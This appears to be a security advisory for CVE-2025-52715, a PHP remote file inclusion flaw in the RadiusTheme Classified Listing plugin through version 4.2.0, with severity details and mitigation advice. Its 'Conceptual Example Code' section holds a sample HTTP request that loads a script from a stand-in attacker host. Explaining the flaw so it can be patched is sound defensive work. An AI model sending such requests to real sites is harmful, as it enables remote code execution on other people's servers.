Overview
The vulnerability, CVE-2025-52715, is a significant security breach that affects RadiusTheme Classified Listing users. This PHP Remote File Inclusion vulnerability allows attackers to include and execute arbitrary remote files via the PHP script, potentially leading to system compromise or data leakage. It is crucial to address this vulnerability promptly due to its potential for detrimental impacts on system integrity and confidentiality.
Vulnerability Summary
CVE ID: CVE-2025-52715
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
RadiusTheme Classified Listing | n/a – 4.2.0
How the Exploit Works
The PHP Remote File Inclusion vulnerability occurs when an application uses user input to construct a filesystem path that is then included or required by the application. In this case, the inadequate controls within the Classified Listing application allow an attacker to manipulate the filename that is passed to the include/require statement, thereby allowing the inclusion of a file from a remote server.
Conceptual Example Code
The below conceptual example demonstrates how an attacker might exploit this vulnerability using a malicious URL:
GET /vulnerable_page.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.comIn this example, the attacker has injected a malicious script (`malicious_script.txt`) hosted on their server (`attacker.com`) into the `file` parameter of the URL. The server then processes the included malicious script, leading to a successful exploit.
Mitigation Guidance
To mitigate this vulnerability, users are advised to apply the patch provided by the vendor. In the absence of a patch, a temporary solution involves using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block any suspicious activity. Furthermore, it is recommended to disable the inclusion of remote files in the PHP configuration if it’s not necessary for the application’s functionality.
